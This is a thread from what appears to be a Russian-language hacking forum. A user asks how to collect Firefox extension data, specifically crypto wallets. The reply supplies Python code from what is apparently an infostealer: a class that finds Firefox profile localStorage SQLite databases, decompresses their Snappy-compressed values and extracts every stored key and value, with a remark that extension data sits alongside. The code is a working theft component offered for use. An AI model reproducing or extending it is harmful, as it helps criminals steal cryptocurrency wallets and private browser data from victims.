• XSS.stack #1 – первый литературный журнал от юзеров форума

firefox extensions

xChimera

Malware...
Пользователь
Регистрация
19.08.2024
Сообщения
777
Реакции
552
Гарант сделки
2
Депозит
0.0282
Как собирать с фф данные расширений, условно кошельки?
 
Python:
# -*- coding: utf-8 -*-

__all__ = ['LocalStoreDb']

# Import modules
from os import path
from glob import glob
from io import BytesIO
from enum import IntEnum
from typing import Iterator
# Improt packages
from collection.utils.snappy import decompress
from collection.utils.database import SqliteDatabase
from collection.utils.models import LocalStorageEntry


class CompressionType(IntEnum):
    Null = 0
    Snappy = 1


class EncodingType(IntEnum):
    Utf16 = 0
    Utf8 = 1

class LocalStoreDb:
Тут сбор локал сторедж ихнего, но расширы тоже там рядом лежат   

 """
    Helper for parsing Firefox/Chromium-style Local Storage
    SQLite databases (`data.sqlite`).

    Each profile has a `storage/default/<origin>/ls/data.sqlite` file,
    which contains key/value pairs saved by JavaScript via
    `localStorage.setItem()`. This class provides a way to iterate
    through those entries and transparently handle compression and
    encoding.

    Attributes:
        in_dir (str): Path to the root storage directory containing
            origin subfolders with `ls/data.sqlite` files.
    """

    def __init__(self, in_dir : str):
        self.in_dir = in_dir

    def iter_all_records(self) -> Iterator[LocalStorageEntry]:
        query = 'SELECT key, conversion_type, compression_type, CAST(value AS BLOB) FROM data;'
        
        for data in glob(path.join(self.in_dir, 'http*', 'ls', 'data.sqlite')):
            name = path.basename(path.dirname(path.dirname(data)))
            

            with SqliteDatabase(data) as db:

                for key, encoding, compression, value in db.cursor.execute(query).fetchall():

                    match CompressionType(compression):
                        case CompressionType.Null:
                            ...
                        case CompressionType.Snappy:
                            value = decompress(BytesIO(value))


                    match EncodingType(encoding):
                        case EncodingType.Utf16:
                            value = value.decode('utf-16', errors='ignore')
                        case EncodingType.Utf8:
                            value = value.decode('utf-8', errors='ignore')

                    yield LocalStorageEntry(name, key, value, 0, True)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх